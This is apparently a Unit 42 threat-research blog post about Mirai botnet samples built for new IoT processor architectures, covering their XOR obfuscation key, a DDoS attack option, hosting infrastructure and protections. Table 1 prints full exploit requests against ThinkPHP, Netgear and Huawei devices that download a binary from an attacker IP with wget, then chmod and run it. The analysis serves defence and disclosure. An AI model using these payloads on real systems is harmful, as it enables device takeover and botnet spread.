In late February 2019, Unit 42 discovered Mirai samples compiled for new processors/architectures not previously seen before. Despite the source code being publicly released In October of 2016, the malware has, until now, only been found targeting a fixed set of processors/architectures.
Unit 42 has found the newly discovered samples are compiled for Altera Nios II, OpenRISC, Tensilica Xtensa, and Xilinx MicroBlaze processors. This is not the first time Mirai has been expanded for new processor architectures, samples targeting ARC CPUs were discovered in January 2018. Yet this development shows that Mirai developers continue to actively innovate, targeting a growing array of IoT devices. The malware gained notoriety in 2016 for its use in massive denial of service attacks on Dyn and the website of security blogger Brian Krebs. If the latest innovations lead to an increase in the number of infected devices, that means that Mirai attackers would have access to additional firepower for use in denial of service attacks.
In this blog, we show the new features we’ve found in these new samples, discuss the infrastructure we observed, show how other Mirai samples using known exploits were hosted on the same infrastructure as the new samples, and give indicators of compromise (IoCs) for these new samples.
To protect against Mirai and other threats, organizations should make securing their IoT devices with the latest updates and non-default passwords a priority.
New Features in these New Samples
In addition to the being compiled for these new architectures, we have found that these new samples also contain the following new features:
- Encryption algorithm: These samples make use of a modified version of the standard byte-wise XOR (as implemented in the toggle_obf function) used in the original Mirai source code.
It uses 11 8-byte keys, all of which are cumulatively byte-wise XOR-ed to get the final resulting key. This is better illustrated in the code snippet below:
tablekeys = [0xdeadbeef, 0x85DAB8BF, 0xDEEDEEBF, 0xDEABBEAF, 0xDBBD45BF, 0x246584EF, 0x85BFE8BF, 0xD68395BF, 0xDBAAAAAF, 0x0DAABEEF]
xor_key = 0
for key in tablekeys:
xor_key ^= key&0xff ^ (key>>8 & 0xff) ^ (key>>16 & 0xfF) ^ (key>>24 & 0xff)
This is effectively the equivalent of a byte-wise XOR with 0x5A.
- attack_method_ovh: The samples include a DDoS attack option with the following parameters:
ATK_OPT_IP_TOS = 0
ATK_OPT_IP_IDENT = 0xFFFF
ATK_OPT_IP_TTL = 64
ATK_OPT_IP_DF = 1
ATK_OPT_SPORT = 0xFFFF
ATK_OPT_DPORT = 0xFFFF
ATK_OPT_SEQRND = 0xFFFF
ATK_OPT_ACKRND = 0
ATK_OPT_URG = 0
ATK_OPT_ACK = 0
ATK_OPT_PSH = 0
ATK_OPT_RST = 0
ATK_OPT_SYN = 1
ATK_OPT_FIN = 0
ATK_OPT_SOURCE = LOCAL_ADDR
These are the exact same parameters as the attack method “TCP SYN” (attack_method_tcpsyn) in the original Mirai source, so the reason behind incorporating a new attack method with the same parameters remains unclear.
Pivoting on this attack method in AutoFocus, we found samples circulating in the wild since November 2018 for other previously known architectures also employing it.
We found these latest samples on a single IP that at one point of time was hosting them via an open directory; however, on February 22, 2019, the server was later updated to hide the file listing but continued to host the files themselves.
Figure 1. Open directory hosting samples of the Mirai variant
Prior to the update on February 22, the same IP was hosting Mirai samples containing the following exploits known to be used in previous versions of Mirai. The presence of these exploits in both previous versions of Mirai and our newly discovered samples help show the tie between the two are likely used by the same attacker in this case. These exploits are shown in Table 1, below.
|ThinkPHP Remote Code Execution||GET /to/thinkphp5.1.29/?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars=system&vars= ‘wget http://178.62.227[.]13/wrgjwrgjwrg246356356356/hx86 -O /tmp/Hito; chmod 777 /tmp/Hito; /tmp/Hito wget.exploit.selfrep.thinkphp’ HTTP/1.1
Accept-Encoding: gzip, deflate
|D-Link DSL2750B OS Command Injection|
|Netgear Remote Code Execution||GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;/bin/busybox+wget+-g+178.62.227[.]13+-l+/tmp/binary+-r+/wrgjwrgjwrg246356356356/hmips;+/bin/busybox+chmod 777+*+/tmp/binary;/tmp/binary+wget.selfrep.exploit.netgear&curpath=/¤tsetting.htm=1 HTTP/1.0|
|CVE-2017-17215||POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Authorization: Digest username=”dslf-config”, realm=”HuaweiHomeGateway”, nonce=”88645cefb1f9ede0e336e3569d75ee30″, uri=”/ctrlt/DeviceUpgrade_1″, response=”3612f843a42db38f48f59d2a3597e19c”, algorithm=”MD5″, qop=”auth”, nc=00000001, cnonce=”248d1a2560100669″
<?xml version=”1.0″ ?><s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:Upgrade xmlns:u=”urn:schemas-upnp-org:service:WANPPPConnection:1″><NewStatusURL>$(/bin/busybox wget -g 184.108.40.206 -l /tmp/binary -r /wrgjwrgjwrg246356356356/hmips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary wget.selfrep.exploit.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Table 1. Exploits in Mirai variant hosted at 178.62.227[.]13 prior to February 22
Given that the Mirai source code is open source, something as elementary as compiling the same source code for a larger range of processors provides attackers with the advantage of a larger attack surface. Practically, this means that the family can now infect and propagate via a larger number of embedded devices, affording attackers greater DDoS firepower.
Palo Alto Networks customers are protected by:
- WildFire detects all related samples with malicious verdicts.
- All exploits and IPs/URLs involved in these campaigns are blocked through Threat Prevention and PANDB.
AutoFocus customers can track the exploits mentioned using the following tags:
The malware family can be tracked in AutoFocus using the tag ELFMirai
Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.
Indicators of Compromise
Xilinx MicroBlaze Samples
Tensilica Xtensa Samples
Altera Nios II Samples